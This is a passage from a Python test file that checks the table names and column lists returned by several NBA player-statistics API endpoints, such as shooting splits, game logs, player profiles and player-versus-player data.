example_player.data['OpponentPlayerDashboard'][0]\n\n columns = ['GROUP_SET',\n 'GROUP_VALUE',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_overall.keys()) == columns\n\n assert list(example_conference.keys()) == columns\n\n assert list(example_division.keys()) == columns\n\n assert list(example_opponent.keys()) == columns\n\ndef test_player_shootingsplits():\n \"\"\" tests the playerdashboardbyshootingsplits endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashboardbyshootingsplits')\n\n table_names = example_player.data.keys()\n\n assert 'OverallPlayerDashboard' in table_names\n assert 'Shot5FTPlayerDashboard' in table_names\n assert 'Shot8FTPlayerDashboard' in table_names\n assert 'ShotAreaPlayerDashboard' in table_names\n assert 'AssitedShotPlayerDashboard' in table_names\n assert 'ShotTypeSummaryPlayerDashboard' in table_names\n assert 'ShotTypePlayerDashboard' in table_names\n assert 'AssistedBy' in table_names\n\n example_overall = example_player.data['OverallPlayerDashboard'][0]\n example_5ft = example_player.data['Shot5FTPlayerDashboard'][0]\n example_8ft = example_player.data['Shot8FTPlayerDashboard'][0]\n example_area = example_player.data['ShotAreaPlayerDashboard'][0]\n example_assisted = example_player.data['AssitedShotPlayerDashboard'][0]\n example_typesummary = example_player.data['ShotTypeSummaryPlayerDashboard'][0]\n example_type = example_player.data['ShotTypePlayerDashboard'][0]\n example_assistedby = example_player.data['AssistedBy'][0]\n\n columns = ['GROUP_SET',\n 'GROUP_VALUE',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'EFG_PCT',\n 'BLKA',\n 'PCT_AST_2PM',\n 'PCT_UAST_2PM',\n 'PCT_AST_3PM',\n 'PCT_UAST_3PM',\n 'PCT_AST_FGM',\n 'PCT_UAST_FGM',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'EFG_PCT_RANK',\n 'BLKA_RANK',\n 'PCT_AST_2PM_RANK',\n 'PCT_UAST_2PM_RANK',\n 'PCT_AST_3PM_RANK',\n 'PCT_UAST_3PM_RANK',\n 'PCT_AST_FGM_RANK',\n 'PCT_UAST_FGM_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_overall.keys()) == columns\n\n assert list(example_5ft.keys()) == columns\n\n assert list(example_8ft.keys()) == columns\n\n assert list(example_area.keys()) == columns\n\n assert list(example_assisted.keys()) == columns\n\n assert list(example_typesummary.keys()) == ['GROUP_SET',\n 'GROUP_VALUE',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'EFG_PCT',\n 'BLKA',\n 'PCT_AST_2PM',\n 'PCT_UAST_2PM',\n 'PCT_AST_3PM',\n 'PCT_UAST_3PM',\n 'PCT_AST_FGM',\n 'PCT_UAST_FGM',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_type.keys()) == columns\n\n assert list(example_assistedby.keys()) == ['GROUP_SET',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'EFG_PCT',\n 'BLKA',\n 'PCT_AST_2PM',\n 'PCT_UAST_2PM',\n 'PCT_AST_3PM',\n 'PCT_UAST_3PM',\n 'PCT_AST_FGM',\n 'PCT_UAST_FGM',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'EFG_PCT_RANK',\n 'BLKA_RANK',\n 'PCT_AST_2PM_RANK',\n 'PCT_UAST_2PM_RANK',\n 'PCT_AST_3PM_RANK',\n 'PCT_UAST_3PM_RANK',\n 'PCT_AST_FGM_RANK',\n 'PCT_UAST_FGM_RANK',\n 'CFID',\n 'CFPARAMS']\n\ndef test_player_teamperformance():\n \"\"\" tests the playerdashboardbyteamperformance endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashboardbyteamperformance')\n\n table_names = example_player.data.keys()\n\n assert 'OverallPlayerDashboard' in table_names\n assert 'ScoreDifferentialPlayerDashboard' in table_names\n assert 'PointsScoredPlayerDashboard' in table_names\n assert 'PontsAgainstPlayerDashboard' in table_names\n\n example_overall = example_player.data['OverallPlayerDashboard'][0]\n example_scorediff = example_player.data['ScoreDifferentialPlayerDashboard'][0]\n example_scored = example_player.data['PointsScoredPlayerDashboard'][0]\n example_against = example_player.data['PontsAgainstPlayerDashboard'][0]\n\n columns = ['GROUP_SET',\n 'GROUP_VALUE_ORDER',\n 'GROUP_VALUE',\n 'GROUP_VALUE_2',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_overall.keys()) == ['GROUP_SET',\n 'GROUP_VALUE',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_scorediff.keys()) == columns\n\n assert list(example_scored.keys()) == columns\n\n assert list(example_against.keys()) == columns\n\ndef test_player_yoy():\n \"\"\" tests the playerdashboardbyyearoveryear endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashboardbyyearoveryear')\n\n table_names = example_player.data.keys()\n\n assert 'OverallPlayerDashboard' in table_names\n assert 'ByYearPlayerDashboard' in table_names\n\n example_overall = example_player.data['OverallPlayerDashboard'][0]\n example_yoy = example_player.data['ByYearPlayerDashboard'][0]\n\n columns = ['GROUP_SET',\n 'GROUP_VALUE',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'MAX_GAME_DATE',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_overall.keys()) == columns\n assert list(example_yoy.keys()) == columns\n\ndef test_player_pass():\n \"\"\" tests the playerdashptpass endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashptpass')\n\n table_names = example_player.data.keys()\n\n assert 'PassesMade' in table_names\n assert 'PassesReceived' in table_names\n\n example_made = example_player.data['PassesMade'][0]\n example_received = example_player.data['PassesReceived'][0]\n\n assert list(example_made.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'TEAM_NAME',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PASS_TYPE',\n 'G',\n 'PASS_TO',\n 'PASS_TEAMMATE_PLAYER_ID',\n 'FREQUENCY',\n 'PASS',\n 'AST',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG2M',\n 'FG2A',\n 'FG2_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT']\n\n assert list(example_received.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'TEAM_NAME',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PASS_TYPE',\n 'G',\n 'PASS_FROM',\n 'PASS_TEAMMATE_PLAYER_ID',\n 'FREQUENCY',\n 'PASS',\n 'AST',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG2M',\n 'FG2A',\n 'FG2_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT']\n\ndef test_player_reb():\n \"\"\" tests the playerdashptreb endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashptreb')\n\n table_names = example_player.data.keys()\n\n assert 'OverallRebounding' in table_names\n assert 'ShotTypeRebounding' in table_names\n assert 'NumContestedRebounding' in table_names\n assert 'ShotDistanceRebounding' in table_names\n assert 'RebDistanceRebounding' in table_names\n\n example_overall = example_player.data['OverallRebounding'][0]\n example_type = example_player.data['ShotTypeRebounding'][0]\n example_num = example_player.data['NumContestedRebounding'][0]\n example_shotdist = example_player.data['ShotDistanceRebounding'][0]\n example_rebdist = example_player.data['RebDistanceRebounding'][0]\n\n assert list(example_overall.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'G',\n 'OVERALL',\n 'REB_FREQUENCY',\n 'OREB',\n 'DREB',\n 'REB',\n 'C_OREB',\n 'C_DREB',\n 'C_REB',\n 'C_REB_PCT',\n 'UC_OREB',\n 'UC_DREB',\n 'UC_REB',\n 'UC_REB_PCT']\n\n assert list(example_type.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'G',\n 'SHOT_TYPE_RANGE',\n 'REB_FREQUENCY',\n 'OREB',\n 'DREB',\n 'REB',\n 'C_OREB',\n 'C_DREB',\n 'C_REB',\n 'C_REB_PCT',\n 'UC_OREB',\n 'UC_DREB',\n 'UC_REB',\n 'UC_REB_PCT']\n\n assert list(example_num.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'G',\n 'REB_NUM_CONTESTING_RANGE',\n 'REB_FREQUENCY',\n 'OREB',\n 'DREB',\n 'REB',\n 'C_OREB',\n 'C_DREB',\n 'C_REB',\n 'C_REB_PCT',\n 'UC_OREB',\n 'UC_DREB',\n 'UC_REB',\n 'UC_REB_PCT']\n\n assert list(example_shotdist.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'G',\n 'SHOT_DIST_RANGE',\n 'REB_FREQUENCY',\n 'OREB',\n 'DREB',\n 'REB',\n 'C_OREB',\n 'C_DREB',\n 'C_REB',\n 'C_REB_PCT',\n 'UC_OREB',\n 'UC_DREB',\n 'UC_REB',\n 'UC_REB_PCT']\n\n assert list(example_rebdist.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'G',\n 'REB_DIST_RANGE',\n 'REB_FREQUENCY',\n 'OREB',\n 'DREB',\n 'REB',\n 'C_OREB',\n 'C_DREB',\n 'C_REB',\n 'C_REB_PCT',\n 'UC_OREB',\n 'UC_DREB',\n 'UC_REB',\n 'UC_REB_PCT']\n\ndef test_player_defend():\n \"\"\" tests the playerdashptshotdefend endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashptshotdefend')\n\n table_names = example_player.data.keys()\n\n assert 'DefendingShots' in table_names\n\n example_defend = example_player.data['DefendingShots'][0]\n\n assert list(example_defend.keys()) == ['CLOSE_DEF_PERSON_ID',\n 'GP',\n 'G',\n 'DEFENSE_CATEGORY',\n 'FREQ',\n 'D_FGM',\n 'D_FGA',\n 'D_FG_PCT',\n 'NORMAL_FG_PCT',\n 'PCT_PLUSMINUS']\n\ndef test_player_shot():\n \"\"\" tests the playerdashptshots endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashptshots')\n\n table_names = example_player.data.keys()\n\n assert 'Overall' in table_names\n assert 'GeneralShooting' in table_names\n assert 'ShotClockShooting' in table_names\n assert 'DribbleShooting' in table_names\n assert 'ClosestDefenderShooting' in table_names\n assert 'ClosestDefender10ftPlusShooting' in table_names\n assert 'TouchTimeShooting' in table_names\n\n example_overall = example_player.data['Overall'][0]\n example_gen = example_player.data['GeneralShooting'][0]\n example_clock = example_player.data['ShotClockShooting'][0]\n example_dribble = example_player.data['DribbleShooting'][0]\n example_defender = example_player.data['ClosestDefenderShooting'][0]\n example_defender10 = example_player.data['ClosestDefender10ftPlusShooting'][0]\n example_touch = example_player.data['TouchTimeShooting'][0]\n\n columns = ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'GP',\n 'G',\n 'SHOT_TYPE',\n 'FGA_FREQUENCY',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'EFG_PCT',\n 'FG2A_FREQUENCY',\n 'FG2M',\n 'FG2A',\n 'FG2_PCT',\n 'FG3A_FREQUENCY',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT']\n\n assert list(example_overall.keys()) == columns\n assert list(example_gen.keys()) == columns\n assert list(example_clock.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'GP',\n 'G',\n 'SHOT_CLOCK_RANGE',\n 'FGA_FREQUENCY',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'EFG_PCT',\n 'FG2A_FREQUENCY',\n 'FG2M',\n 'FG2A',\n 'FG2_PCT',\n 'FG3A_FREQUENCY',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT']\n\n assert list(example_dribble.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'GP',\n 'G',\n 'DRIBBLE_RANGE',\n 'FGA_FREQUENCY',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'EFG_PCT',\n 'FG2A_FREQUENCY',\n 'FG2M',\n 'FG2A',\n 'FG2_PCT',\n 'FG3A_FREQUENCY',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT']\n\n assert list(example_defender.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'GP',\n 'G',\n 'CLOSE_DEF_DIST_RANGE',\n 'FGA_FREQUENCY',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'EFG_PCT',\n 'FG2A_FREQUENCY',\n 'FG2M',\n 'FG2A',\n 'FG2_PCT',\n 'FG3A_FREQUENCY',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT']\n\n assert list(example_defender10.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'GP',\n 'G',\n 'CLOSE_DEF_DIST_RANGE',\n 'FGA_FREQUENCY',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'EFG_PCT',\n 'FG2A_FREQUENCY',\n 'FG2M',\n 'FG2A',\n 'FG2_PCT',\n 'FG3A_FREQUENCY',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT']\n\n assert list(example_touch.keys()) == ['PLAYER_ID',\n 'PLAYER_NAME_LAST_FIRST',\n 'SORT_ORDER',\n 'GP',\n 'G',\n 'TOUCH_TIME_RANGE',\n 'FGA_FREQUENCY',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'EFG_PCT',\n 'FG2A_FREQUENCY',\n 'FG2M',\n 'FG2A',\n 'FG2_PCT',\n 'FG3A_FREQUENCY',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT']\n \ndef test_player_gamelog():\n \"\"\" tests the playergamelog endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playergamelog')\n\n table_names = example_player.data.keys()\n\n assert 'PlayerGameLog' in table_names\n\n example_log = example_player.data['PlayerGameLog'][0]\n\n assert list(example_log.keys()) == ['SEASON_ID',\n 'Player_ID',\n 'Game_ID',\n 'GAME_DATE',\n 'MATCHUP',\n 'WL',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS',\n 'PLUS_MINUS',\n 'VIDEO_AVAILABLE']\n \ndef test_playerprofile():\n \"\"\" tests the playerprofilev2 endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n player_id='203954',\n endpoint='playerprofilev2')\n\n table_names = example_player.data.keys()\n\n assert 'SeasonTotalsRegularSeason' in table_names\n assert 'CareerTotalsRegularSeason' in table_names\n assert 'SeasonTotalsPostSeason' in table_names\n assert 'CareerTotalsPostSeason' in table_names\n assert 'SeasonTotalsAllStarSeason' in table_names\n assert 'CareerTotalsAllStarSeason' in table_names\n assert 'SeasonTotalsCollegeSeason' in table_names\n assert 'CareerTotalsCollegeSeason' in table_names\n assert 'SeasonRankingsRegularSeason' in table_names\n assert 'SeasonRankingsPostSeason' in table_names\n\n example_season_reg = example_player.data['SeasonTotalsRegularSeason'][0]\n example_career_reg = example_player.data['CareerTotalsRegularSeason'][0]\n example_season_post = example_player.data['SeasonTotalsPostSeason'][0]\n example_career_post = example_player.data['CareerTotalsPostSeason'][0]\n example_season_star = example_player.data['SeasonTotalsAllStarSeason'][0]\n example_career_star = example_player.data['CareerTotalsAllStarSeason'][0]\n example_season_col = example_player.data['SeasonTotalsCollegeSeason'][0]\n example_career_col = example_player.data['CareerTotalsCollegeSeason'][0]\n example_seasonrank_reg = example_player.data['SeasonRankingsRegularSeason'][0]\n example_seasonrank_post = example_player.data['SeasonRankingsPostSeason'][0]\n example_season_high = example_player.data['SeasonHighs'][0]\n example_career_high = example_player.data['CareerHighs'][0]\n example_next = example_player.data['NextGame'][0]\n\n columns = ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_season_reg.keys()) == columns\n\n assert list(example_career_reg.keys()) == ['PLAYER_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_season_post.keys()) == columns\n\n assert list(example_career_post.keys()) == ['PLAYER_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_season_star.keys()) == columns\n\n assert list(example_career_star.keys()) == ['PLAYER_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_season_col.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'ORGANIZATION_ID',\n 'SCHOOL_NAME',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_career_col.keys()) == ['PLAYER_ID',\n 'LEAGUE_ID',\n 'ORGANIZATION_ID',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_seasonrank_reg.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'RANK_PG_MIN',\n 'RANK_PG_FGM',\n 'RANK_PG_FGA',\n 'RANK_FG_PCT',\n 'RANK_PG_FG3M',\n 'RANK_PG_FG3A',\n 'RANK_FG3_PCT',\n 'RANK_PG_FTM',\n 'RANK_PG_FTA',\n 'RANK_FT_PCT',\n 'RANK_PG_OREB',\n 'RANK_PG_DREB',\n 'RANK_PG_REB',\n 'RANK_PG_AST',\n 'RANK_PG_STL',\n 'RANK_PG_BLK',\n 'RANK_PG_TOV',\n 'RANK_PG_PTS',\n 'RANK_PG_EFF']\n\n assert list(example_seasonrank_post.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'RANK_PG_MIN',\n 'RANK_PG_FGM',\n 'RANK_PG_FGA',\n 'RANK_FG_PCT',\n 'RANK_PG_FG3M',\n 'RANK_PG_FG3A',\n 'RANK_FG3_PCT',\n 'RANK_PG_FTM',\n 'RANK_PG_FTA',\n 'RANK_FT_PCT',\n 'RANK_PG_OREB',\n 'RANK_PG_DREB',\n 'RANK_PG_REB',\n 'RANK_PG_AST',\n 'RANK_PG_STL',\n 'RANK_PG_BLK',\n 'RANK_PG_TOV',\n 'RANK_PG_PTS',\n 'RANK_PG_EFF']\n\n assert list(example_season_high.keys()) == ['PLAYER_ID',\n 'GAME_ID',\n 'GAME_DATE',\n 'VS_TEAM_ID',\n 'VS_TEAM_CITY',\n 'VS_TEAM_NAME',\n 'VS_TEAM_ABBREVIATION',\n 'STAT',\n 'STAT_VALUE',\n 'STAT_ORDER',\n 'DATE_EST']\n\n assert list(example_career_high.keys()) == ['PLAYER_ID',\n 'GAME_ID',\n 'GAME_DATE',\n 'VS_TEAM_ID',\n 'VS_TEAM_CITY',\n 'VS_TEAM_NAME',\n 'VS_TEAM_ABBREVIATION',\n 'STAT',\n 'STAT_VALUE',\n 'STAT_ORDER',\n 'DATE_EST']\n\n assert list(example_next.keys()) == ['GAME_ID',\n 'GAME_DATE',\n 'GAME_TIME',\n 'LOCATION',\n 'PLAYER_TEAM_ID',\n 'PLAYER_TEAM_CITY',\n 'PLAYER_TEAM_NICKNAME',\n 'PLAYER_TEAM_ABBREVIATION',\n 'VS_TEAM_ID',\n 'VS_TEAM_CITY',\n 'VS_TEAM_NICKNAME',\n 'VS_TEAM_ABBREVIATION']\n\ndef test_player_v_player():\n \"\"\" tests the playervsplayer endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playervsplayer')\n\n table_names = example_player.data.keys()\n\n assert 'Overall' in table_names\n assert 'OnOffCourt' in table_names\n assert 'ShotDistanceOverall' in table_names\n assert 'ShotDistanceOnCourt' in table_names\n assert 'ShotDistanceOffCourt' in table_names\n assert 'ShotAreaOverall' in table_names\n assert 'ShotAreaOnCourt' in table_names\n assert 'ShotAreaOffCourt' in table_names\n assert 'PlayerInfo' in table_names\n assert 'VsPlayerInfo' in table_names\n\n example_overall = example_player.data['Overall'][0]\n example_on_off = example_player.data['OnOffCourt'][0]\n example_dist = example_player.data['ShotDistanceOverall'][0]\n example_dist_on = example_player.data['ShotDistanceOnCourt'][0]\n example_dist_off = example_player.data['ShotDistanceOffCourt'][0]\n example_area = example_player.data['ShotAreaOverall'][0]\n example_area_on = example_player.data['ShotAreaOnCourt'][0]\n example_area_off = example_player.data['ShotAreaOffCourt'][0]\n example_player_inf = example_player.data['PlayerInfo'][0]\n example_vs_player_inf = example_player.data['VsPlayerInfo'][0]\n\n assert list(example_overall.keys()) == ['GROUP_SET',\n 'GROUP_VALUE',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_on_off.keys()) == ['GROUP_SET',\n 'PLAYER_ID',\n 'PLAYER_NAME',\n 'VS_PLAYER_ID',\n 'VS_PLAYER_NAME',\n 'COURT_STATUS',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 